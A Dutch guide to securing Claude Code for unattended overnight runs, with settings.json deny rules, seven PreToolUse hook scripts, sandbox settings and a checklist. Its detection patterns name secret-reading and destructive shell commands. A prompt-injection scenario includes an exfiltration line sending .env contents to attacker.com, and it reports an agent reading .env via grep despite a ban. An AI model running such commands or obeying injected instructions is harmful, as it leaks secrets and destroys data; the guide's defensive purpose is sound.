Hoe configureer je Claude Code zodat het je project ’s nachts niet kapotmaakt
Markdown7 hooks, settings.json met permissions en een checklist met 12 punten om Claude Code de hele nacht te laten werken zonder .env of een database kwijt te raken. Bescherming in 4 lagen.
Lees het volledige artikel
Ailoot-documentatie — naslagmateriaal voor het gebruik van de dienst.
Wat verandert er in 2026: autonome Claude Code en echte incidenten
Belangrijkste inzicht
In 2026 introduceerde Anthropic auto-mode, /loop en /schedule — Claude Code kan nu urenlang zonder bevestigingen werken. De prijs van autonomie bestaat uit echte incidenten: verwijderde productiedatabases, gelekte .env-bestanden en een bug in permissions.deny die nog steeds niet is opgelost. Deze gids laat 4 beschermingslagen zien die je moet instellen voordat je het systeem voor het eerst ’s nachts laat draaien.
Vroeger stopte Claude Code na elk antwoord en vroeg het toestemming voor elke schrijfactie. Dat was onhandig, maar veilig: je kon letterlijk niet door een incident heen slapen, omdat de agent op je “ja” wachtte. In 2026 ging dat model op de schop. Anthropic introduceerde auto-mode — een afzonderlijke classifieragent beslist namens jou of elke actie wordt toegestaan. Het commando /loop verscheen (een prompt met tussenpozen binnen een sessie uitvoeren), net als /schedule (planning volgens cron voor langlopende taken). Achtergrondsessies die met claude --bg worden gestart, laten de agent zonder terminal op de achtergrond draaien. Ik heb de autonome modus uitgebreid behandeld in de gids “/goal in Claude Code: autonome modus en Agent View”.
Het probleem is dat autonomie sneller werd uitgerold dan de beveiliging.
Een paar weken geleden vroeg ik het om “op te ruimen”, en uiteindelijk verwijderde het zowel mijn productie- als mijn ontwikkelingsdatabase.
Tegelijk staan er twee bugs open in de repository van Anthropic waar je van op de hoogte moet zijn voordat je permissions.deny aan je settings.json toevoegt:
- Issue #44868 (7 april 2026): Claude Code leest de inhoud van
.envviagrep -nin het chattranscript, ondanks een expliciet verbod inCLAUDE.md. De bug staat nog open. - Issue #24846 (11 februari 2026):
permissions.read.deny-regels voor patronen als.env*worden niet toegepast —Readleest.env.localondanks een correct deny-patroon. Gesloten als duplicaat, maar niet opgelost.
Deze twee lacunes tonen waarom één beschermingslaag in settings.json niet volstaat. Hierna volgt een model met permissions + hooks + sandbox + sessiescheiding. Elke laag kan blootstelling beperken, maar maakt andere lagen niet volledig. De aangehaalde auto-mode-evaluatie bewijst niet dat een regexhook gemiste acties opvangt. Gebruik voor productie een geïsoleerde OS-omgeving zonder productie-inloggegevens of schrijfrechten, dwing netwerkbeperkingen buiten het model af en test die grenzen vóór een onbeheerde run.
Wat zijn de groene en rode projectzones?
Belangrijkste inzicht
Groene zone: een lokaal project zonder liveklanten of geldstromen. Rode zone: alles met een productiedatabase, betalingen of persoonsgegevens. In de groene zone kun je auto-mode met een minimum aan hooks gebruiken. In de rode zone is bescherming opgebouwd uit 4 lagen en is --dangerously-skip-permissions architectonisch verboden.
Het heeft geen zin om voor elk project dezelfde bescherming op te zetten. Een lokaal hobbyproject op je machine dat niet extern is uitgerold, heeft een heel ander risiconiveau dan een dienst die echte betalingen verwerkt en klantgegevens opslaat. Als je overal dezelfde bescherming gebruikt, rem je de snelheid in de groene zone af en laat je toch gaten in de rode zone.
Een project gaat van groen naar rood zodra aan minstens een van drie voorwaarden is voldaan: er zijn liveklanten, er stroomt geld door het systeem of de database bevat persoonsgegevens. Tot die tijd kun je auto-mode gebruiken met een minimum aan hooks en zonder sandbox. Daarna moet de bescherming worden opgebouwd volgens de volledige configuratie in deze gids.
Het belangrijkste principe: het beschermingsniveau hangt af van de zone. De ontwikkelfase telt niet mee. Een hobbyproject op je machine met een test Stripe-account valt in de groene zone. Een dienst met één betalende klant en een registratieformulier valt al in de rode zone, ook als die er nog uitziet als een “concept”. Deze zones door elkaar halen is een veelvoorkomende valkuil bij vroege projecten: “we zitten nog in de conceptfase, we voegen de bescherming later toe”, en dan betaalt de eerste klant volgende week.
Hoe werkt de machtigingshiërarchie in settings.json?
Belangrijkste inzicht
In settings.json hebben deny-regels altijd voorrang op allow, terwijl scopes (user → project → local → managed) worden samengevoegd in plaats van overschreven. Een deny op gebruikersniveau voor .env, *.pem en ~/.ssh/** beschermt je ook in de repository van iemand anders. De sleutel disableBypassPermissionsMode blokkeert YOLO-modus bovendien op architectonisch niveau.
Anthropic beschrijft de evaluatiehiërarchie voor machtigingen in de officiële documentatie: eerst worden deny-regels gecontroleerd, dan ask en vervolgens allow — de eerste overeenkomende regel wint. Dat betekent dat deny altijd voorrang heeft op allow. Als je het lezen van .env verbiedt in ~/.claude/settings.json en iemand allow instelt in .claude/settings.json van het project, geldt jouw verbod en niet diens toestemming.
Voorbeeld van een minimale, veilige ~/.claude/settings.json op gebruikersniveau:
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
Wat gebeurt hier? De eerste zes regels blokkeren het lezen van geheime bestanden in de huidige map en alle submappen. *.pem en *.key zijn SSL/TLS-sleutels en SSH-sleutels. credentials*.json is een veelgebruikte bestandsnaam bij cloudproviders. De laatste drie zijn systeemmappen met SSH-sleutels, AWS-inloggegevens en GPG-sleutels.
De sleutel disableBypassPermissionsMode: "disable" blokkeert de vlag --dangerously-skip-permissions (ook wel YOLO-modus genoemd). Daarmee wordt één soort fout voorgoed uitgesloten: zelfs als je deze vlag per ongeluk aan een script of alias toevoegt, weigert Claude Code die te accepteren. De vlag wordt niet alleen verwijderd — Claude Code geeft de foutmelding “mode disabled by managed settings”.
Daarnaast wordt de sleutel defaultMode: "auto" vanaf versie 2.1.142 genegeerd als deze in project- of lokale instellingen staat. Dit beschermt tegen de situatie: “Ik opende de repository van iemand anders, en daar stond de automatische modus standaard ingeschakeld in .claude/settings.json.” Anthropic heeft expliciet verklaard dat repositories auto-mode niet zonder toestemming van de gebruiker kunnen inschakelen.
Dit is de eerste verdedigingslinie. Je kunt hier niet stoppen, want deze heeft twee lacunes die je hierna leert kennen.
Waarom permissions.deny niet genoeg is: 2 openstaande GitHub-issues
Belangrijkste inzicht
In april 2026 meldde een gebruiker issue #44868 in de repository van Anthropic: Claude leest .env via grep -n en zet de inhoud in het transcript, ondanks het verbod in CLAUDE.md. In februari meldde issue #24846 dat permissions.read.deny voor .env* niet werkt op het niveau van de Read-tool. Beide issues staan nog open; samen betekenen ze dat settings.json zonder een hook erbovenop een lekke zeef is.
Als permissions.deny werkte, had de gids in het vorige onderdeel kunnen eindigen. Maar dat werkt niet.
Issue #44868 (7 april 2026): de gebruiker had in CLAUDE.md expliciet verboden om .env, .dev.vars en andere bestanden met geheimen te lezen. In plaats van Read te gebruiken, voerde Claude grep -n SOMETHING .env uit. Het commando grep -n toont de volledige overeenkomende regel met het regelnummer — inclusief het echte API-token. Die regel komt in tool_result, wordt weergegeven in het sessietranscript en wordt opgeslagen in de geschiedenis.
Het subtiele punt waarop de auteur wijst: de veiligheidsreflex van het model wordt geactiveerd nadat de uitvoer al is geproduceerd, niet voordat het commando wordt uitgevoerd. Met andere woorden: Claude voert eerst grep uit, krijgt een regel met het token en toont die in de chat — pas daarna merkt het de fout op en “biedt het zijn excuses aan”. Tegen die tijd staat het token al in de chatgeschiedenis. De enige remedie is de sleutel vervangen.
Issue #24846 (11 februari 2026): de gebruiker configureerde permissions.read.deny met een lijst waarin het patroon **/.env* stond. Daarna vroeg die Claude om .env.local te lezen. De Read-tool werd zonder fouten uitgevoerd en toonde de bestandsinhoud.
Het issue werd als duplicaat gesloten, maar niet opgelost. Op het moment dat deze gids werd geschreven (juni 2026), kon het nog worden gereproduceerd.
Conclusie: laag 1 in settings.json is geen verspilde moeite, maar deze voorbeelden meten niet welk aandeel onbedoelde leesacties ze voorkomt. Maar deze voorkomt geen commando’s via Bash (cat .env, grep API_KEY .env, head .env), afdwingingsbugs (issue #24846) of slimme ketens met git diff of git show op een commit met .env. Daarom heb je een tweede laag nodig: hooks.
Hoe kunnen hooks herkende gevaarlijke acties blokkeren?
Belangrijkste inzicht
In Claude Code zijn hooks shellscripts die op specifieke gebeurtenissen (PreToolUse, UserPromptSubmit, Stop) worden uitgevoerd en een actie kunnen blokkeren met afsluitcode 2 of JSON met permissionDecision: "deny". Anders dan machtigingen en CLAUDE.md is een hook middleware: die onderschept een aanroep voordat deze wordt uitgevoerd, zonder tussenkomst van het model.
Hooks werken op een ander abstractieniveau dan machtigingen. Machtigingen zijn regels waarmee het model rekening houdt bij zijn beslissing. Een hook werkt anders: het model besluit een tool aan te roepen, de hook wordt tussen het model en het systeem uitgevoerd, controleert de invoer en staat de actie toe of blokkeert die. Het model neemt niet deel aan de beslissing van de hook — het is shellcode die je zelf schrijft.
Anthropic beschrijft het blokkeergedrag in de officiële hookdocumentatie:
Afsluitcode 2 betekent een blokkerende fout. Claude Code negeert stdout en alle JSON daarin. In plaats daarvan wordt de tekst op stderr als foutmelding naar Claude gestuurd.
Dit betekent twee dingen. Ten eerste kan een correct ingestelde blokkeerhook de overeenkomende toolaanroep weigeren. Bij PreToolUse blokkeert afsluitcode 2 die aanroep; dat bewijst niet dat het script elke gevaarlijke equivalente opdracht herkent. Ten tweede kun je een betekenisvolle melding op stderr zetten, die Claude als fout leest en waarna het een andere aanpak probeert. Met andere woorden: een hook is niet alleen een “hek”, maar een “hek met een bord waarop staat waarom je er niet langs mag”.
Gebeurtenissen die met afsluitcode 2 kunnen worden geblokkeerd:
PreToolUse— blokkeert de toolaanroep voordat deze wordt uitgevoerd. De belangrijkste gebeurtenis voor beschermende hooks.PermissionRequest— weigert toestemming voor een actie waarvoor Claude toestemming vroeg.UserPromptSubmit— blokkeert en wist de prompt van de gebruiker. Handig als de prompt verdachte tekst bevat (bijvoorbeeld prompt injection uit een geplante e-mail).Stop— voorkomt dat Claude de sessie beëindigt. Kan als “loop” worden gebruikt om de agent te laten doorwerken tot aan een bepaalde voorwaarde is voldaan.PreCompact— blokkeert het automatisch compacter maken van de context. Handig als je het transcript wilt bewaren tot er handmatig een besluit is genomen.WorktreeCreate— weigert het aanmaken van een worktree. Bescherming tegen pogingen van Claude om een repository op een onverwachte plek te klonen.
Een alternatief voor afsluitcode 2 is JSON teruggeven met een veld hookSpecificOutput.permissionDecision. permissionDecision heeft vier mogelijke waarden:
allow— staat de actie expliciet toe en omzeilt de standaardmachtigingsprocedure.deny— blokkeert de actie, gelijk aan afsluitcode 2 voor PreToolUse.ask— legt de beslissing voor aan de gebruiker (er verschijnt een dialoogvenster).defer— laat de beslissing over aan de normale machtigingslogica.
Hiermee krijgt een hook meer controle dan met alleen een afsluitcode. Met permissionDecision: "ask" kun je stille bewerkingen veranderen in bewerkingen waarvoor bevestiging nodig is, zonder ze meteen volledig te blokkeren. Dat doe ik voor npm install <new package> en wijzigingen aan lockfiles.
Wil je meer weten over hoe hooks werken en welke 31 gebeurtenissen momenteel beschikbaar zijn in Claude Code? Dat heb ik behandeld in een aparte gids: “Hooks in Claude Code: 7 regels die je direct kunt kopiëren”. Hierna geef ik concrete hooks voor autonoom werk.
Welke 7 hooks gebruik ik voor nachtwerk?
Belangrijkste inzicht
Illustratieve PreToolUse-hooks voor 7 scenario’s: signaleer geselecteerde geheime leesacties, blokkeer herkende letterlijke git push-aanroepen, filter geselecteerde SQL- en rm -rf-patronen, beoordeel pakketinstallaties en manifestwijzigingen en log overeenkomende toolaanroepen. Test treffers en gemiste gevallen lokaal vóór inschakelen. Deze regexvoorbeelden zijn onvolledig en vormen geen productiebeveiligingsgrens.
Dit is de tweede beschermingslaag, die de eerste ondersteunt. Alle hooks komen in .claude/hooks/, worden geregistreerd via .claude/settings.json en vereisen dat jq is geïnstalleerd.
Hook 1: bescherm .env, .pem en credentials.json tegen lezen
Voegt controles toe voor geselecteerde Read-paden en veelgebruikte Bash-opdrachten die geheimen lezen. Dit vangt niet elke tool of elke manier om een geheim te lezen op. Bestand: .claude/hooks/block-secret-reads.sh:
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Read-tool met een verdacht pad
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Geheim bestand. Gebruik op://-verwijzingen of omgevingsvariabelen."
}
}'
exit 0
fi
# Bash die geheimen leest via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Het lezen van geheimen via de shell is geblokkeerd."
}
}'
exit 0
fi
exit 0
Registratie in .claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
Voer na de installatie chmod +x .claude/hooks/block-secret-reads.sh uit. Test: vraag Claude om .env.local te lezen — je krijgt het antwoord “Geheim bestand. Gebruik op://-verwijzingen of omgevingsvariabelen.” in plaats van de bestandsinhoud.
Hook 2: blokkeer letterlijke git push-aanroepen in nachtsessies
Voor een onbeheerde sessie blokkeert dit voorbeeld voorzichtig elke letterlijke git push die het herkent, ook naar featurebranches. Het probeert geen huidige branch af te leiden of de veiligheid van een force-vlag te bepalen. Bestand: .claude/hooks/block-force-push.sh:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push uitgeschakeld in nachtsessie. Gebruik review onder toezicht."
}
}'
fi
exit 0
Registreer via PreToolUse met de Bash-matcher. Omdat dit de herkende pushopdracht blokkeert in plaats van vlaggen en branchnamen te ontleden, vangt het git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main en een letterlijke push in een &&- of ;-keten. Dit zijn offline voorbeelden voor tekstherkenning, geen opdrachten om tegen een remote uit te voeren.
Dit blijft een tekstheuristiek. Git-aliassen, shellfuncties, git -C ... push, opgebouwde opdrachtnamen, scripts en andere tools kunnen haar ontwijken; het is geen volledige shellparser. Dwing branchbescherming op de Git-server af, verwijder inloggegevens die die kunnen omzeilen en voer onbeheerd werk uit in een geïsoleerde omgeving zonder schrijfrechten op productie. Een gemiste hookmatch mag geen productiebevoegdheid verlenen.
Hook 3: blokkeer destructieve SQL-bewerkingen
Gaat rechtstreeks in op verwijderde databases. Bestand: .claude/hooks/block-destructive-sql.sh:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructieve DDL geblokkeerd. Gebruik migraties met expliciete menselijke goedkeuring."
}
}'
exit 0
fi
# DELETE FROM zonder WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE zonder WHERE geblokkeerd. Bevestig het bereik expliciet."
}
}'
exit 0
fi
# UPDATE zonder WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE zonder WHERE heeft gevolgen voor alle rijen. Bevestig het bereik."
}
}'
exit 0
fi
exit 0
Registreer via PreToolUse met matcher: "Bash". Let op het verschil: DROP en DELETE zonder WHERE worden volledig geblokkeerd, terwijl UPDATE zonder WHERE de status ask krijgt — dat kan soms legitiem zijn (bijvoorbeeld bij het instellen van een vlag voor alle records in een migratie), maar vereist altijd handmatige bevestiging.
Hook 4: filter voor rm -rf
Standaardvoorbeeld uit de documentatie van Anthropic, aangepast om met een reden te weigeren:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# rm -rf /, ~, $HOME, * zonder expliciete scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructieve rm zonder expliciete scope. Geef de map op."
}
}'
fi
exit 0
De hook staat rm -rf node_modules, rm -rf .next/cache en andere verwijderingen met een expliciete scope toe. Hij blokkeert rm -rf ., rm -rf /, rm -rf ~ en vergelijkbare commando’s die “alles wissen”.
Hook 5: bevestiging vragen voor het installeren van nieuwe pakketten
Deze hook helpt aanvallen op de softwaretoeleveringsketen tegen te gaan. Als Claude zelfstandig besluit een nieuwe dependency toe te voegen, verschijnt er een dialoogvenster:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# Dependencies installeren vanuit een lockfile — toestaan
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# Nieuwe pakketten toevoegen
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Nieuwe dependency toevoegen. Bevestig de pakketnaam en versie."
}
}'
fi
exit 0
De hook laat installaties vanuit een lockfile gewoon doorgaan, terwijl voor het toevoegen van een nieuwe dependency bevestiging nodig is.
Hook 6: bescherm package.json en het lockfile
Elke wijziging aan een dependencymanifest is een reden voor iemand om het te controleren. Zeker ’s nachts.
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Wijziging aan dependencymanifest. Bevestig het bereik voordat er wordt geschreven."
}
}'
fi
exit 0
Registreer met PreToolUse en de matcher Write|Edit.
Hook 7: volledig auditlog van alle Bash-aanroepen
Als er ’s nachts iets misgaat, heb je een volledig log nodig om de gebeurtenissen te reconstrueren. Registreer dit in settings.json (de hook heeft geen apart script; jq doet alles):
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
Het bestand .claude/audit.jsonl groeit met één regel tegelijk. ’s Ochtends, na een nachtelijke /loop, kun je tail -n 100 .claude/audit.jsonl | jq uitvoeren om te zien wat de agent op elk moment heeft gedaan. Dit is cruciaal voor een evaluatie achteraf: het sessietranscript kan lang en lastig te lezen zijn, terwijl het auditlog een heldere tijdlijn biedt.
Hoe beschermen sandbox- en worktree-isolatie lange sessies?
Belangrijkste inzicht
De sandbox in Claude Code is isolatie van het bestandssysteem en het netwerk. Anthropic meldt een afname van 84% in toestemmingsverzoeken bij gelijkblijvende beveiliging. Netwerkisolatie blokkeert exfiltratie van .env naar een externe server, zelfs als de agent het al heeft gelezen. Voor lange achtergrondsessies zijn sandbox + worktree verplicht.
Als hooks een “hek met een bord” zijn, dan is de sandbox een “hek + gracht + drone-net”. Het is de vierde beschermingslaag, bedoeld voor situaties waarin hooks een actie doorlaten, terwijl zelfs de uitvoering van die actie buiten de omgeving geen schade mag aanrichten.
In de blogpost over sandboxing (20 oktober 2025) meldt Anthropic interne metingen:
Volgens onze interne gegevens vermindert sandboxing het aantal toestemmingsprompts veilig met 84%.
Dat betekent dat Claude, wanneer je /sandbox inschakelt, voor 84% van de acties niet meer om toestemming vraagt, omdat die acties fysiek niet buiten de sandbox kunnen komen. Dat is handig voor de snelheid, maar niet de belangrijkste waarde.
De sandbox biedt twee niveaus van isolatie, elk met een eigen functie:
Bestandssysteemisolatie beperkt lezen en schrijven tot expliciet toegestane mappen. Zelfs als een hook een poging mist om naar /etc/hosts te schrijven of ~/.ssh/id_rsa te lezen, laat de sandbox de systeemaanroep niet doorgaan. Dit is bescherming op besturingssysteemniveau. De applicatielaag kan die niet zien.
Netwerkisolatie staat alleen verbindingen met goedgekeurde servers toe. Dat is cruciaal tegen aanvallen waarbij gegevens worden buitgemaakt. Scenario: prompt injection in een geplaatst bestand misleidt Claude om .env te lezen (de hook miste dit omdat het lezen via een ongebruikelijke route gebeurde), waarna het model besluit curl -X POST attacker.com -d "$ENV_CONTENT" uit te voeren. Zonder netwerkisolatie werkt dat. Met netwerkisolatie kan curl attacker.com niet bereiken, omdat die host niet op de lijst staat.
Start de sandbox met het commando /sandbox in Claude Code. Configureer deze in ~/.claude/settings.json:
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
Voeg voor lange achtergrondsessies die met claude --bg worden gestart worktree-isolatie toe aan de sandbox. Dit is een ingebouwd mechanisme van Claude Code: elke achtergrondsessie wordt automatisch verplaatst naar een eigen .claude/worktrees/<name>/ op een aparte branch. Zo werken parallelle sessies elkaar niet tegen wanneer ze naar dezelfde bestanden schrijven. Ik heb worktree-isolatie uitgebreid behandeld in de gids “Agent View en worktrees: de autonome modus van Claude Code”.
Geef Claude een manier om het eigen werk te controleren.
Sandbox is onderdeel van de feedbacklus. Wanneer Claude weet dat zijn acties begrensd zijn, werkt het zorgvuldiger en beschrijft het de tussenstappen duidelijker.
Waar werkt auto-mode in 2026 wel en niet?
Belangrijkste inzicht
Auto-mode in Claude Code is een Sonnet 4.6-classifier die handmatige machtigingen vervangt door geautomatiseerde beslissingen op basis van de regels van Anthropic. Volgens Anthropic zelf bedraagt het percentage fout-negatieven bij gevaarlijke acties 17%, en stopt de sessie na 3 opeenvolgende of 20 totale afwijzingen door de classifier. In de groene zone is dit een redelijk alternatief voor handmatige goedkeuring. In de rode zone blijven hooks noodzakelijk.
In maart 2026 introduceerde Anthropic auto-mode als “een middenweg tussen handmatige controle en helemaal geen beveiliging”. Het is een apart Sonnet 4.6-model dat elke actie van Claude vóór uitvoering toetst aan een reeks criteria. Anthropic beschreef de werking in de Anthropic Engineering-blog:
Auto-mode is een nieuwe modus van Claude Code die goedkeuringen delegeert aan modelgebaseerde classifiers. Het is een middenweg tussen handmatige controle en helemaal geen beveiliging.
Auto-mode heeft twee belangrijke beperkingen:
- Als een sessie 3 opeenvolgende of in totaal 20 afwijzingen door de classifier verzamelt, stopt het model en wordt de beslissing aan een mens overgedragen. Dit beschermt tegen de situatie waarin “Claude blijft proberen een beperking te omzeilen met 100 verschillende formuleringen van hetzelfde commando”.
- Auto-mode staat een actie toe als die lijkt op 93% van de acties die gebruikers doorgaans toch al goedkeuren. Dat vermindert toestemmingsmoeheid, maar beschermt niet tegen atypische gevaarlijke acties.
En hier is het belangrijkste cijfer om op te letten:
Een percentage fout-negatieven van 17% bij echte, te voortvarende acties — dat is het eerlijke cijfer.
De gerapporteerde 17% is een foutnegatiefpercentage in die evaluatie, geen kans voor elke actie in jouw project. Het bewijst niet dat voorbeeldhooks gemiste acties opvangen. In de rode zone vereist onbeheerd werk afgedwongen isolatie van productieschrijfrechten en geheimen, plus serverzijdige branchbescherming en inloggegevens die die regels niet kunnen omzeilen.
Praktische conclusie: gebruik hooks als extra controles in een herstelbare wegwerpomgeving. Ook een lokaal project kan ongevolgde bestanden of inloggegevens bevatten die Git niet herstelt. In de rode zone moet een gemiste hookmatch door echte toegangscontrole worden begrensd; regexverzamelingen maken willekeurige shelluitvoering niet tot een deterministische veiligheidsgarantie.
Waarom moet je contexten verdelen over drie soorten sessies?
Belangrijkste inzicht
De gevaarlijkste keten bestaat uit drie gewone commando’s achter elkaar, niet uit één slecht commando. De agent leest .env (legitiem), verwerkt een binnenkomende e-mail (legitiem) en verstuurt extern een HTTP-verzoek (legitiem). Elke actie afzonderlijk is veilig; samen vormen ze exfiltratie. De bescherming bestaat eruit de drie taaktypen op te splitsen in aparte sessies met verschillende machtigingen.
Drie soorten taken mogen nooit in dezelfde sessie plaatsvinden:
Type 1: werken met persoonsgegevens. De sessie heeft toegang tot de productiedatabase, kan e-mails versturen en kan inloggegevens zien. Ze heeft GEEN toegang tot externe documenten (e-mails, pdf’s, webpagina’s) en KAN GEEN gegevens naar willekeurige adressen sturen.
Type 2: externe documenten verwerken. De sessie kan binnenkomende e-mails verwerken, webpagina’s downloaden en pdf’s uit e-mails lezen. Ze heeft GEEN toegang tot een database met persoonsgegevens en KAN NIETS extern versturen zonder expliciete bevestiging.
Type 3: extern publiceren. De sessie kan berichten op sociale netwerken plaatsen, e-mailcampagnes versturen en pull requests aanmaken. Ze heeft GEEN toegang tot persoonsgegevens en verwerkt GEEN binnenkomende inhoud.
Waarom die scheiding? Als één sessie alles doet, is één prompt injection in een geplaatste pdf (een concurrerend bureau stuurde een “factuur”) genoeg om de agent in één keer je klantendatabase te laten lezen, e-mailadressen te laten vinden en die naar een adres van een aanvaller te laten sturen. Elke actie in deze keten is op zichzelf legitiem voor het betreffende taaktype. Samen vormen ze een lek.
Het engste exfiltratiepatroon bestaat niet uit één slecht commando. Het is een keten van volkomen normale commando’s. De agent leest
.env(toegestaan), verstuurt het via HTTP (toegestaan), en dat is het.
In de praktijk wordt dit geregeld met verschillende .claude-mappen voor verschillende taaktypen. Je kunt bijvoorbeeld drie configuraties gebruiken: ~/projects/business-ops/.claude/ (type 1, toegang tot de database, netwerk geblokkeerd behalve voor interne API’s), ~/projects/inbox-parsing/.claude/ (type 2, alle netwerktoegang geblokkeerd), ~/projects/social-posting/.claude/ (type 3, netwerktoegang toegestaan voor de API’s van Telegram, sociale media en Slack). Elke map is een apart project voor Claude Code met eigen machtigingen en hooks.
Welke 12 checklistpunten doorloop ik vóór /loop?
Belangrijkste inzicht
Een checklist met 12 punten die ik doorloop voordat ik /loop, /schedule of claude --bg ’s nachts start. De punten lopen uiteen van ~/.claude/settings.json met een eenvoudige deny-regel tot /sandbox met netwerkisolatie. Als ook maar één punt niet is afgedekt, start ik niet.
~/.claude/settings.jsonmetdenyop gebruikersniveau voor.env*,*.pem,*.key,credentials*.json,~/.ssh/**,~/.aws/**. Dit is de basis; zonder dit zijn de overige maatregelen zinloos.disableBypassPermissionsMode: "disable"in~/.claude/settings.json. Blokkeert de YOLO-vlag voorgoed.De voorbeelden voor
block-secret-reads.shzijn op geselecteerde geheime leesopdrachten getest; echte geheimen en productie-inloggegevens zijn voor de onbeheerde omgeving onbereikbaar.Het voorbeeld
block-force-push.shblokkeert herkende letterlijke pushes ongeacht vlagvolgorde of bestemming; de Git-server dwingt branchbescherming en niet-omzeilbare inlogrechten af.De hook
block-destructive-sql.shvoorDROP TABLE,TRUNCATEenDELETE FROMzonderWHERE.De hook
block-rm-rf.shvoorrm -rfzonder expliciete scope.De hook
ask-on-new-deps.shvoornpm install <new package>(apart vannpm installzonder argumenten).De hook
ask-on-lockfile-change.shvoor schrijfacties naarpackage.json,pnpm-lock.yaml,requirements.txt,pyproject.tomlenCargo.toml.Een algemene
audit.jsonl-log voor alle aanroepen van Bash, Write en Edit. Zonder dit log is analyse achteraf onmogelijk.Alle lange achtergrondsessies draaien in een worktree en niet op de main branch:
claude --bg "task"maakt automatisch een worktree aan, maar controleer ofsettings.jsonnietworktree.bgIsolation: "none"bevat./sandboxvoordat je een lange autonome taak start. Het bestandssysteem is beperkt tot de projectmap en/tmp. Het netwerk staat api.anthropic.com, github.com en registry.npmjs.org toe.Een verificatiestap in de taak: voer na elke grote wijziging de test runner of linter uit. Als die faalt, gaat de agent pas verder nadat de problemen zijn opgelost.
Het laatste punt is een werkpatroon en geen toolinstelling. Geef Claude een manier om het eigen werk te controleren. Zonder verificatie blijft een agent ’s nachts rondjes draaien met “ik denk dat dit goed is, ik ga verder”, terwijl de fouten zich opstapelen tot de ochtend. Met verificatie gaat hij niet verder tot de controle slaagt.
7 anti-patronen: wat je NIET moet doen
Belangrijkste inzicht
Zeven veelvoorkomende fouten uit de beschreven projecten: --dangerously-skip-permissions gebruiken op een machine met toegang tot productie, alleen vertrouwen op CLAUDE.md, permissions.deny vertrouwen zonder hook erbovenop en auto-mode gebruiken zonder back-upregels. Elke fout hangt samen met echte incidenten uit de bronnen.
